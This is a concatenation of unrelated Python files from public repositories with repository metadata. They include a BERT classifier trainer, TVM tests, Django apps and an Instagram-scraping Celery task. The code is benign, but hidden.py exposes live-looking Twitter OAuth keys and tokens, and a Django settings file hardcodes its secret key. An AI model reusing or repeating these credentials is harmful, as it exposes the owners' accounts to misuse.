def batch_loader(batch_size, src, tgt, seg, soft_tgt=None): instances_num = src.size()[0] for i in range(instances_num // batch_size): src_batch = src[i*batch_size: (i+1)*batch_size, :] tgt_batch = tgt[i*batch_size: (i+1)*batch_size] seg_batch = seg[i*batch_size: (i+1)*batch_size, :] if soft_tgt is not None: soft_tgt_batch = soft_tgt[i*batch_size: (i+1)*batch_size, :] yield src_batch, tgt_batch, seg_batch, soft_tgt_batch else: yield src_batch, tgt_batch, seg_batch, None if instances_num > instances_num // batch_size * batch_size: src_batch = src[instances_num//batch_size*batch_size:, :] tgt_batch = tgt[instances_num//batch_size*batch_size:] seg_batch = seg[instances_num//batch_size*batch_size:, :] if soft_tgt is not None: soft_tgt_batch = soft_tgt[instances_num//batch_size*batch_size:, :] yield src_batch, tgt_batch, seg_batch, soft_tgt_batch else: yield src_batch, tgt_batch, seg_batch, None def read_dataset(args, path): dataset, columns = [], {} with open(path, mode="r", encoding="utf-8") as f: for line_id, line in enumerate(f): if line_id == 0: for i, column_name in enumerate(line.strip().split("\t")): columns[column_name] = i continue line = line[:-1].split('\t') tgt = int(line[columns["label"]]) if args.soft_targets and "logits" in columns.keys(): soft_tgt = [float(value) for value in line[columns["logits"]].split(" ")] if "text_b" not in columns: # Sentence classification. text_a = line[columns["text_a"]] src = args.tokenizer.convert_tokens_to_ids([CLS_TOKEN] + args.tokenizer.tokenize(text_a)) seg = [1] * len(src) else: # Sentence-pair classification. text_a, text_b = line[columns["text_a"]], line[columns["text_b"]] src_a = args.tokenizer.convert_tokens_to_ids([CLS_TOKEN] + args.tokenizer.tokenize(text_a) + [SEP_TOKEN]) src_b = args.tokenizer.convert_tokens_to_ids(args.tokenizer.tokenize(text_b) + [SEP_TOKEN]) src = src_a + src_b seg = [1] * len(src_a) + [2] * len(src_b) if len(src) > args.seq_length: src = src[:args.seq_length] seg = seg[:args.seq_length] while len(src) < args.seq_length: src.append(0) seg.append(0) if args.soft_targets and "logits" in columns.keys(): dataset.append((src, tgt, seg, soft_tgt)) else: dataset.append((src, tgt, seg)) return dataset def train_model(args, model, optimizer, scheduler, src_batch, tgt_batch, seg_batch, soft_tgt_batch=None): model.zero_grad() src_batch = src_batch.to(args.device) tgt_batch = tgt_batch.to(args.device) seg_batch = seg_batch.to(args.device) if soft_tgt_batch is not None: soft_tgt_batch = soft_tgt_batch.to(args.device) loss, _ = model(src_batch, tgt_batch, seg_batch, soft_tgt_batch) if torch.cuda.device_count() > 1: loss = torch.mean(loss) if args.fp16: with args.amp.scale_loss(loss, optimizer) as scaled_loss: scaled_loss.backward() else: loss.backward() optimizer.step() scheduler.step() return loss def evaluate(args, dataset, print_confusion_matrix=False): src = torch.LongTensor([sample[0] for sample in dataset]) tgt = torch.LongTensor([sample[1] for sample in dataset]) seg = torch.LongTensor([sample[2] for sample in dataset]) batch_size = args.batch_size instances_num = src.size()[0] correct = 0 # Confusion matrix. confusion = torch.zeros(args.labels_num, args.labels_num, dtype=torch.long) args.model.eval() for i, (src_batch, tgt_batch, seg_batch, _) in enumerate(batch_loader(batch_size, src, tgt, seg)): src_batch = src_batch.to(args.device) tgt_batch = tgt_batch.to(args.device) seg_batch = seg_batch.to(args.device) with torch.no_grad(): loss, logits = args.model(src_batch, tgt_batch, seg_batch) pred = torch.argmax(nn.Softmax(dim=1)(logits), dim=1) gold = tgt_batch for j in range(pred.size()[0]): confusion[pred[j], gold[j]] += 1 correct += torch.sum(pred == gold).item() if print_confusion_matrix: print("Confusion matrix:") print(confusion) print("Report precision, recall, and f1:") for i in range(confusion.size()[0]): p = confusion[i,i].item()/confusion[i,:].sum().item() r = confusion[i,i].item()/confusion[:,i].sum().item() f1 = 2*p*r / (p+r) print("Label {}: {:.3f}, {:.3f}, {:.3f}".format(i,p,r,f1)) print("Acc. (Correct/Total): {:.4f} ({}/{}) ".format(correct/len(dataset), correct, len(dataset))) return correct/len(dataset), confusion def main(): parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) # Path options. parser.add_argument("--pretrained_model_path", default=None, type=str, help="Path of the pretrained model.") parser.add_argument("--output_model_path", default="./models/classifier_model.bin", type=str, help="Path of the output model.") parser.add_argument("--vocab_path", default=None, type=str, help="Path of the vocabulary file.") parser.add_argument("--spm_model_path", default=None, type=str, help="Path of the sentence piece model.") parser.add_argument("--train_path", type=str, required=True, help="Path of the trainset.") parser.add_argument("--dev_path", type=str, required=True, help="Path of the devset.") parser.add_argument("--test_path", type=str, help="Path of the testset.") parser.add_argument("--config_path", default="./models/bert_base_config.json", type=str, help="Path of the config file.") # Model options. parser.add_argument("--batch_size", type=int, default=64, help="Batch size.") parser.add_argument("--seq_length", type=int, default=128, help="Sequence length.") parser.add_argument("--embedding", choices=["bert", "word"], default="bert", help="Emebdding type.") parser.add_argument("--encoder", choices=["bert", "lstm", "gru", \ "cnn", "gatedcnn", "attn", "synt", \ "rcnn", "crnn", "gpt", "bilstm"], \ default="bert", help="Encoder type.") parser.add_argument("--bidirectional", action="store_true", help="Specific to recurrent model.") parser.add_argument("--pooling", choices=["mean", "max", "first", "last"], default="first", help="Pooling type.") parser.add_argument("--factorized_embedding_parameterization", action="store_true", help="Factorized embedding parameterization.") parser.add_argument("--parameter_sharing", action="store_true", help="Parameter sharing.") # Tokenizer options. parser.add_argument("--tokenizer", choices=["bert", "char", "space"], default="bert", help="Specify the tokenizer." "Original Google BERT uses bert tokenizer on Chinese corpus." "Char tokenizer segments sentences into characters." "Space tokenizer segments sentences into words according to space." ) # Optimizer options. parser.add_argument("--soft_targets", action='store_true', help="Train model with logits.") parser.add_argument("--soft_alpha", type=float, default=0.5, help="Weight of the soft targets loss.") parser.add_argument("--learning_rate", type=float, default=2e-5, help="Learning rate.") parser.add_argument("--warmup", type=float, default=0.1, help="Warm up value.") parser.add_argument("--fp16", action='store_true', help="Whether to use 16-bit (mixed) precision (through NVIDIA apex) instead of 32-bit.") parser.add_argument("--fp16_opt_level", choices=["O0", "O1", "O2", "O3" ], default='O1', help="For fp16: Apex AMP optimization level selected in ['O0', 'O1', 'O2', and 'O3']." "See details at https://nvidia.github.io/apex/amp.html") # Training options. parser.add_argument("--dropout", type=float, default=0.5, help="Dropout.") parser.add_argument("--epochs_num", type=int, default=3, help="Number of epochs.") parser.add_argument("--report_steps", type=int, default=100, help="Specific steps to print prompt.") parser.add_argument("--seed", type=int, default=7, help="Random seed.") args = parser.parse_args() # Load the hyperparameters from the config file. args = load_hyperparam(args) set_seed(args.seed) # Count the number of labels. args.labels_num = count_labels_num(args.train_path) # Build tokenizer. args.tokenizer = globals()[args.tokenizer.capitalize() + "Tokenizer"](args) # Build classification model. model = Classifier(args) # Load or initialize parameters. load_or_initialize_parameters(args, model) args.device = torch.device("cuda" if torch.cuda.is_available() else "cpu") model = model.to(args.device) # Training phase. trainset = read_dataset(args, args.train_path) random.shuffle(trainset) instances_num = len(trainset) batch_size = args.batch_size src = torch.LongTensor([example[0] for example in trainset]) tgt = torch.LongTensor([example[1] for example in trainset]) seg = torch.LongTensor([example[2] for example in trainset]) if args.soft_targets: soft_tgt = torch.FloatTensor([example[3] for example in trainset]) else: soft_tgt = None args.train_steps = int(instances_num * args.epochs_num / batch_size) + 1 print("Batch size: ", batch_size) print("The number of training instances:", instances_num) optimizer, scheduler = build_optimizer(args, model) if args.fp16: try: from apex import amp except ImportError: raise ImportError("Please install apex from https://www.github.com/nvidia/apex to use fp16 training.") model, optimizer = amp.initialize(model, optimizer, opt_level = args.fp16_opt_level) args.amp = amp if torch.cuda.device_count() > 1: print("{} GPUs are available. Let's use them.".format(torch.cuda.device_count())) model = torch.nn.DataParallel(model) args.model = model total_loss, result, best_result = 0., 0., 0. print("Start training.") for epoch in range(1, args.epochs_num+1): model.train() for i, (src_batch, tgt_batch, seg_batch, soft_tgt_batch) in enumerate(batch_loader(batch_size, src, tgt, seg, soft_tgt)): loss = train_model(args, model, optimizer, scheduler, src_batch, tgt_batch, seg_batch, soft_tgt_batch) total_loss += loss.item() if (i + 1) % args.report_steps == 0: print("Epoch id: {}, Training steps: {}, Avg loss: {:.3f}".format(epoch, i+1, total_loss / args.report_steps)) total_loss = 0. result = evaluate(args, read_dataset(args, args.dev_path)) if result[0] > best_result: best_result = result[0] save_model(model, args.output_model_path) # Evaluation phase. if args.test_path is not None: print("Test set evaluation.") if torch.cuda.device_count() > 1: model.module.load_state_dict(torch.load(args.output_model_path)) else: model.load_state_dict(torch.load(args.output_model_path)) evaluate(args, read_dataset(args, args.test_path), True) if __name__ == "__main__": main()

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# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import argparse import pytest from tvm.driver.tvmc.common import TVMCException from tvm.driver.tvmc.registry import generate_registry_args, reconstruct_registry_entity from tvm.relay.backend import Executor def test_registry_to_argparse(): parser = argparse.ArgumentParser() generate_registry_args(parser, Executor) parsed, _ = parser.parse_known_args(["--executor=aot", "--executor-aot-interface-api=c"]) assert parsed.executor == "aot" assert parsed.executor_aot_interface_api == "c" def test_registry_to_argparse_default(): parser = argparse.ArgumentParser() generate_registry_args(parser, Executor, "aot") parsed, _ = parser.parse_known_args([]) assert parsed.executor == "aot" def test_mapping_registered_args(): parser = argparse.ArgumentParser() generate_registry_args(parser, Executor) parsed, _ = parser.parse_known_args(["--executor=aot", "--executor-aot-interface-api=c"]) entity = reconstruct_registry_entity(parsed, Executor) assert isinstance(entity, Executor) assert "interface-api" in entity assert entity["interface-api"] == "c" def test_mapping_registered_args_no_match_for_name(): parser = argparse.ArgumentParser() generate_registry_args(parser, Executor) parsed, _ = parser.parse_known_args(["--executor=woof"]) with pytest.raises(TVMCException, match='Executor "woof" is not defined'): reconstruct_registry_entity(parsed, Executor) def test_mapping_registered_args_no_arg(): parser = argparse.ArgumentParser() generate_registry_args(parser, Executor) parsed, _ = parser.parse_known_args([]) assert reconstruct_registry_entity(parsed, Executor) == None def test_mapping_registered_args_mismatch_for_arg(): parser = argparse.ArgumentParser() generate_registry_args(parser, Executor) parsed, _ = parser.parse_known_args(["--executor=aot", "--executor-graph-link-params=1"]) with pytest.raises( TVMCException, match="Passed --executor-graph-link-params but did not specify graph executor", ): reconstruct_registry_entity(parsed, Executor)

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/sms/urls.py

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xchoudhury/twilio_app

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from django.conf.urls import url from . import views urlpatterns = [ url( r'^sms/send/$', views.send_sms, name='send_sms' ), url( r'^sms/receive/$', views.receive_sms, name='receive_sms' ), ]

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from datetime import datetime, timedelta import inspect NOW = datetime.now() class Promo: def __init__(self, name, expires): self.name = name self.expires = expires @property def expired(self): if self.expires < NOW: return True else: return False def test_promo_expired(): past_time = NOW - timedelta(seconds=3) twitter_promo = Promo('twitter', past_time) assert twitter_promo.expired def test_promo_not_expired(): future_date = NOW + timedelta(days=1) newsletter_promo = Promo('newsletter', future_date) # print(newsletter_promo.__dict__) # print(newsletter_promo.expired()) assert not newsletter_promo.expired def test_uses_property(): assert 'property' in inspect.getsource(Promo) # test_promo_not_expired() test_uses_property()

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""" 3. Создать текстовый файл (не программно), построчно записать фамилии сотрудников и величину их окладов. Определить, кто из сотрудников имеет оклад менее 20 тыс., вывести фамилии этих сотрудников. Выполнить подсчет средней величины дохода сотрудников. """ from functools import reduce def func_my(el_1, el_2): return float(el_1) + float(el_2) with open("text_3.txt", "r") as mytext: my_list = [] zp = 20000 # вывел чтобы легче было менять ориентир по зарплате for line in mytext: worker = line.split(' ') my_list.append(worker[1]) if float(worker[1]) < zp: print(worker[0]) i = len(my_list) mnog = reduce(func_my, my_list) print(f"Средняя заработная плата сотрудников: {mnog / i} рублей.")

[ "latyw07@mail.ru" ]

latyw07@mail.ru

7dd1c492f62f77a8e944c442208db313fcff19a4

3f5f52b37f7aca332c5cbca0a06ff33685f20c5b

/sf_record_spider/distribute_util/request_queue.py

5d85e435d1193babf6995725a6c3e80efdb81713

[]

no_license

lxs137/py_house_spider

197a9f3353bbf640dfae07c14e2ad914d6a4801f

9a39aa78628c7ffb39647d301e94f6a2d4bbbd17

refs/heads/master

2021-01-11T15:37:24.984631

2017-12-22T01:13:46

79,902,824

4

2

null

2017-07-24T05:18:36

2017-01-24T10:50:30

Python

UTF-8

Python

false

1,411

py

from scrapy.utils.reqser import request_from_dict, request_to_dict import pickle from redis import Redis class RedisRequestQueue(object): def __init__(self, server, spider, queue_key): self.server = server self.spider = spider self.key = queue_key def _decode_request(self, request_data): return request_from_dict(pickle.loads(request_data), self.spider) def _encode_request(self, request): # protocol为负数代表使用HIGEST_PROTOCOL return pickle.dumps(request_to_dict(request, self.spider), protocol=-1) def __len__(self): return self.server.zcard(self.key) def close(self, reason): self.server.delete(self.key) def pop(self): pipe = self.server.pipeline() # 保证接下来的操作作为一个事务进行执行 pipe.multi() pipe.zrange(self.key, 0, 0) pipe.zremrangebyrank(self.key, 0, 0) value, count = pipe.execute() if value: return self._decode_request(value[0]) def push(self, request): request_data = self._encode_request(request) # 对request来说,priority越大优先级越高, # 但对于redis的有序集合来说,默认情况下:score分数越低优先级越高 # 因此将request.priority取负数作为member的score self.server.zadd(self.key, request_data, -request.priority)

[ "lxs137@hotmail.com" ]

lxs137@hotmail.com

f5534aa8a51ae46e08d79ac732c13842a87749aa

0653d222b1679fd3d3616c6f6f34804f465d2b56

/tests/test_ls_algo.py

fb6f4e3b3cd4d2839a809556b88162ceb38d5033

[]

no_license

DaddyTrap/SocketRouter

e310b6798184f75a24fbd9c59767b4ad9e7a4f69

d0b2ad314e2b485eba752f0809267c991f4c9432

refs/heads/master

2021-09-01T18:40:40.043678

2017-12-28T08:33:35

112,981,718

0

null

UTF-8

Python

false

401

py

import route_node.route_node as route_node forward_table = {} topo = { 1: { 1: 0, 3: 20, 4: 10 }, 3: { 1: 20, 4: 5, 5: 5 }, 4: { 1: 10, 3: 5, 5: 5 }, 5: { 3: 5, 4: 5 } } ret = route_node.LSRouteNode.ls_algo(1, topo, forward_table) print(forward_table)

[ "914670787@qq.com" ]

914670787@qq.com

2f9655fa112df5ca5906905afbc0c4fbf062d7d9

51d0377511a5da902033fb9d80184db0e096fe2c

/05-importing-data-in-python-1/2-importing-data-from-other-files-types/04-customizing-your-spreadsheet-import.py

d70b70184020466e1f5cc0e4109a2a15e2713f58

[]

no_license

sashakrasnov/datacamp

c28c6bda178163337baed646220b2f7dcc36047d

759f4cec297883907e21118f24a3449d84c80761

refs/heads/master

2021-12-07T02:54:51.190672

2021-09-17T21:05:29

157,093,632

6

5

null

UTF-8

Python

false

1,619

py

''' Customizing your spreadsheet import Here, you'll parse your spreadsheets and use additional arguments to skip rows, rename columns and select only particular columns. The spreadsheet 'battledeath.xlsx' is already loaded as xl. As before, you'll use the method parse(). This time, however, you'll add the additional arguments skiprows, names and parse_cols. These skip rows, name the columns and designate which columns to parse, respectively. All these arguments can be assigned to lists containing the specific row numbers, strings and column numbers, as appropriate. Instructions * Parse the first sheet by index. In doing so, skip the first row of data and name the columns 'Country' and 'AAM due to War (2002)' using the argument names. The values passed to skiprows and names all need to be of type list. * Parse the second sheet by index. In doing so, parse only the first column with the parse_cols parameter, skip the first row and rename the column 'Country'. The argument passed to parse_cols also needs to be of type list. ''' # Import pandas import pandas as pd # Assign spreadsheet filename: file file = '../datasets/battledeath.xlsx' # Load spreadsheet: xl xl = pd.ExcelFile(file) # Parse the first sheet and rename the columns: df1 df1 = xl.parse(0, skiprows=[0], names=['Country', 'AAM due to War (2002)']) # Print the head of the DataFrame df1 print(df1.head()) # Parse the first column of the second sheet and rename the column: df2 df2 = xl.parse(0, parse_cols=[0], skiprows=[0], names=['Country', 'AAM due to War (2004)']) # Print the head of the DataFrame df2 print(df2.head())

[ "a@skrasnov.com" ]

a@skrasnov.com

2078df2066e4dc94d84e50fde4a6a7c9bae43fd2

82b728e805d887102c0b8c415731b353877690cd

/samples/generated_samples/aiplatform_generated_aiplatform_v1_metadata_service_purge_artifacts_async.py

be1cc40f02347804f3d7ccef30143cd4d9744042

[ "Apache-2.0" ]

permissive

geraint0923/python-aiplatform

90c7742c9bdbde05b9688b117e8e59c0406d6f85

7ab05d5e127636d96365b7ea408974ccd6c2f0fe

refs/heads/main

2023-08-24T05:30:38.519239

2021-10-27T20:38:25

370,803,114

0

Apache-2.0

2021-05-25T19:15:47

2021-05-25T19:15:46

null

UTF-8

Python

false

1,725

py

# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Generated code. DO NOT EDIT! # # Snippet for PurgeArtifacts # NOTE: This snippet has been automatically generated for illustrative purposes only. # It may require modifications to work in your environment. # To install the latest published package dependency, execute the following: # python3 -m pip install google-cloud-aiplatform # [START aiplatform_generated_aiplatform_v1_MetadataService_PurgeArtifacts_async] from google.cloud import aiplatform_v1 async def sample_purge_artifacts(): """Snippet for purge_artifacts""" # Create a client client = aiplatform_v1.MetadataServiceAsyncClient() # Initialize request argument(s) request = aiplatform_v1.PurgeArtifactsRequest( parent="projects/{project}/locations/{location}/metadataStores/{metadata_store}/artifacts/{artifact}", filter="filter_value", ) # Make the request operation = client.purge_artifacts(request=request) print("Waiting for operation to complete...") response = await operation.result() print(response) # [END aiplatform_generated_aiplatform_v1_MetadataService_PurgeArtifacts_async]

[ "noreply@github.com" ]

geraint0923.noreply@github.com

caa7b6c37ddc4abe6bd02420da52258d8a58eddd

1f1a1e9b595cbd1dfcba4435658eab3bbbcbda82

/core/settings.py

187d7ce051ffb03d1dc011156722ff499b82deea

[]

no_license

Juju-And/twitter

b910f222e965f342d173bb7c163f6ab469473edc

325530bf0dd35c799ff945930bdfb32f4e03429c

refs/heads/master

2020-09-15T23:03:16.400640

2019-11-23T17:01:28

223,578,191

0

null

UTF-8

Python

false

3,174

py

""" Django settings for core project. Generated by 'django-admin startproject' using Django 2.2.7. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '-$ih564fx733-qjz!2l$gfxnl=c^b-0go-(%=f#-ey8_-azmn$' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'records', 'whispers', 'users', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'core.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': ['templates'], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'core.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [ "static" ]

[ "justyna.andrejczuk@gmail.com" ]

justyna.andrejczuk@gmail.com

ae6a7f58779bac67a6b31a8b4e812919d06641ee

2ec6862beae3dc2f788ca66cce15ef8a6d2c9c3c

/preproc.py

d0064f9cf4b99462ad5a55d8abd9a740e5bfa098

[]

no_license

jpmcd/vowpal-wabbit-works

8fa5eca43dab874d24b4f6384b39a7b1d6512763

e87122588b3ac34cd122092c252d3dee4327cecd

refs/heads/master

2021-01-24T20:41:50.650928

2016-02-03T17:35:35

null

0

null

UTF-8

Python

false

837

py

import re import sys import random p = float(sys.argv[1]) if p < 0 or p > 1: print "input valid p, 0<=p<=1" exit() w_bool = bool(sys.argv[2] and sys.argv[3]) if w_bool: w_pos = float(sys.argv[2]) w_neg = float(sys.argv[3]) else: w_pos = 1. w_neg = 1. train = open("train.dat","w") test = open("test.dat","w") for i in range(1): with open("/scratch/url_svmlight/Day"+str(i)+".svm","r") as f: for line in f: newline = re.sub(r"^-1", "0 %f |f"%w_neg, line) newline = re.sub(r"^\+1", "1 %f |f"%w_pos, newline) newline = re.sub(r"$\s", " const:.01\n", newline) rand = random.random() if rand < p: test.write(newline) else: train.write(newline) #exit() train.close() test.close()

[ "josephpmcdonald@gmail.com" ]

josephpmcdonald@gmail.com

af695ef76b65ad605049e07f2f5afdc8137d801f

93ba1198906bf36edfc5e62c28e11bb4db754186

/venv/bin/easy_install-3.7

bb3f99e47a67d63abbcd1e6a46b5b04a73747619

[]

no_license

ccc-team44/tweet-analysis

5e44d146fccd82c9d844ed1bc91e9ce3bbdb39e2

7724b27c3fdb7167978cf1257d68a605dd7ead1d

refs/heads/master

2022-10-04T03:18:32.311770

2020-06-11T08:56:11

264,067,135

0

null

UTF-8

Python

false

444

7

#!/Users/xinweiding/tweet-analysis/venv/bin/python # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install-3.7' __requires__ = 'setuptools==40.8.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('setuptools==40.8.0', 'console_scripts', 'easy_install-3.7')() )

[ "xind1cl@gmail.com" ]

xind1cl@gmail.com

b26ea98bc20a0e8e0521ec75161d78c8d31340d3

bbf02a2dfa11a8abb0ac8602a85b669a839c06cb

/caladonis/workouts/models.py

6380fb6f05bff21049651f358fa99aece348ea28

[]

no_license

perezal/api.caladonis.com

7e48af60607c45cae125e17e36ba7f560ad25e1e

dce3e67d2a197980a82044cda3bdb19c03075192

refs/heads/master

2020-03-15T02:00:18.505023

2018-05-17T01:18:46

131,907,608

0

null

UTF-8

Python

false

648

py

from django.db import models from django.contrib.auth.models import User class Workout(models.Model): account = models.ForeignKey(User, on_delete=models.CASCADE) date = models.DateTimeField('workout date', auto_now_add=True) notes = models.TextField(default='') class Exercise(models.Model): workout = models.ForeignKey(Workout, related_name="exercises", on_delete=models.CASCADE) name = models.CharField(max_length=20) class Set(models.Model): exercise = models.ForeignKey(Exercise, related_name="sets", on_delete=models.CASCADE) reps = models.IntegerField(default=0) weight = models.IntegerField(default=0)

[ "redflare@gmail.com" ]

redflare@gmail.com

2e84d8d5c0b440ec8f046db0a63b3cb5a11f5f7c

77945f2e1e3cfd2920ef3b71fa626d23d643c4f2

/code3/hidden.py

8c2d0b37e8f10e3b0f264c3b744da12e774ba69b

[]

no_license

justingfoster/p4e

9226cf5a6972a0a2520c5696abef5cdc37a964a0

fdcb9db475498e24b7ef77b07c1a3c1688b87bb2

refs/heads/master

2021-01-01T15:32:53.733498

2017-09-19T16:02:18

97,640,953

0

null

UTF-8

Python

false

409

py

# Keep this file separate # https://apps.twitter.com/ # Create new App and get the four strings def oauth(): return {"consumer_key": "teFVNZ4kMr76wwb0q1D4AMTUZ", "consumer_secret": "73RazktJRaJjlAPyOerMLGA47J1c83ZVYMWiQ76BMA1HyVhdjU", "token_key": "892077162475421697-5rSinUKpLHPcmJkfgGtUcpcxyi51mmy", "token_secret": "XbegLZ3M3YYHAWfJBwgV1UvPY1dsP913iL2SK05CGC88G"}

[ "justingfoster@hotmail.com" ]

justingfoster@hotmail.com

6ca562dbf7053d70020705006ef520d4ed60caf0

1a75bf92c35eb51b0181862102afcf819a71ab23

/ig_review/tasks/__init__.py

ee1f7acabcbfb231dec485875da3f034142faabc

[]

no_license

Skinner927/ig-review

867202b3e039dc9529930f0844be37103bb29ddb

192b4f07e76682771dd9fbdac83d6b42ebaf9011

refs/heads/master

2021-04-03T01:37:53.714115

2018-03-13T00:11:18

124,973,337

0

null

UTF-8

Python

false

4,574

py

""" Run as: celery worker -A ig_review.tasks -B And debugging: celery worker -A ig_review.tasks --loglevel=info -E -B """ # Ensure to use absolute module reference or celery worker may not work from celery.signals import beat_init from email.message import EmailMessage from ig_review import factory from ig_review.api.image_storage import RootImageStorage from instagram_scraper import InstagramScraper from pathlib import Path import functools import imghdr import os import os.path import smtplib app = factory.create_celery_app(__name__) def single_instance_task(func): """ Decorator to prevent tasks from running at the same time. Works independent of OS and process/thread. :param func: :return: """ @functools.wraps(func) def wrapper(*args, **kwargs): self = args[0] func_name = 'celerylock-' + func.__name__ lock_file = os.path.join(self.app.conf['LOCKFILE_DIR'], func_name) try: f = open(lock_file, 'x') f.write(str(os.getpid())) except OSError: # Someone holds the lock, get out! self.log.info('wanted to run but locked ' + func_name) return try: return func(*args, **kwargs) finally: f.close() os.remove(lock_file) return wrapper @app.on_after_configure.connect def schedule_tasks(sender, **kwargs): interval = 60.0 * float(sender.conf['SCRAPE_IG_INTERVAL']) sender.add_periodic_task(interval, do_scrape.s(), name='Scrape IG at interval') interval = 60.0 * float(sender.conf['SEND_IG_APPROVED']) sender.add_periodic_task(interval, do_mail_images.s(), name='Send reviewed images') @beat_init.connect def kick_first_task(sender, **kwargs): do_scrape.delay() do_mail_images.delay() @app.task(bind=True) @single_instance_task def do_scrape(self): self.log.info('Scraping IG as ' + self.app.conf['SCRAPE_IG_USER']) scraper = InstagramScraper( login_user=self.app.conf['SCRAPE_IG_USER'], login_pass=self.app.conf['SCRAPE_IG_PASS'], usernames=self.app.conf['SCRAPE_IG_FRIENDS'], destination=self.app.conf['IMAGES_REVIEW_DIR'], retain_username=True, media_types=['image', 'story-image'], maximum=self.app.conf['SCRAPE_IG_MAX_PER_FRIEND'], latest_stamps=os.path.join(self.app.conf['STORAGE_ROOT'], 'ig_user_stamps.ini'), ) scraper.scrape() self.log.info('Done scraping IG without errors as ' + self.app.conf['SCRAPE_IG_USER']) @app.task(bind=True) @single_instance_task def do_mail_images(self): if not self.app.conf['SEND_IG_SMTP_ENABLED']: self.log.info('Sending images is disabled') return self.log.info('Starting to send images') # Create a message msg = EmailMessage() msg['Subject'] = self.app.conf['SEND_IG_SMTP_SUBJECT'] msg['From'] = self.app.conf['SEND_IG_SMTP_FROM'] msg['To'] = ', '.join(self.app.conf['SEND_IG_SMTP_TO']) # Get all images img_dir = Path(self.app.conf['IMAGES_SEND_DIR']) max_files = self.app.conf['SEND_IG_SMTP_MAX_ATTACHMENTS'] files_sent = 0 for file in img_dir.iterdir(): if files_sent >= max_files: break # Ensure they're legit if not RootImageStorage.valid_image_file(file): self.log.warning('Invalid image file in send directory ' + str(file)) os.remove(file) continue with open(file, 'rb') as f: img_data = f.read() msg.add_attachment(img_data, maintype='image', subtype=imghdr.what(None, img_data), filename=os.path.basename(file)) files_sent += 1 if files_sent < 1: self.log.info('No images to send') return # Create SMTP sender with smtplib.SMTP(host=self.app.conf['SEND_IG_SMTP_HOST'], port=self.app.conf['SEND_IG_SMTP_PORT']) as s: secure = self.app.conf['SEND_IG_SMTP_SECURE'] if isinstance(secure, tuple) or secure: kwargs = {} if len(secure) > 0: kwargs['keyfile'] = secure[0] if len(secure) == 2: kwargs['certfile'] = secure[1] s.starttls(**kwargs) if self.app.conf['SEND_IG_SMTP_USER']: s.login(self.app.conf['SEND_IG_SMTP_USER'], self.app.conf['SEND_IG_SMTP_PASS']) s.send_message(msg) self.log.info('Done sending {} images without errors'.format(files_sent))

[ "skinner927@gmail.com" ]

skinner927@gmail.com

bf6070165ba4c074e3b6f0ade42f7ef065fcf59b

57c5ce8c1bfafee2ea53347052f26d018a77c795

/alien.py

8698021bef75eb6543ebe0ffb9598ecfd025f069

[]

no_license

core571/alien_invasion

24216c5a0ec19b32a4a266649ac4c9d59eab004e

6aeccbc4d472a48a3d8649d855e4a39fede5eb2e

refs/heads/master

2020-03-19T09:01:32.888150

2018-06-07T02:38:17

136,254,108

0

null

UTF-8

Python

false

1,291

py

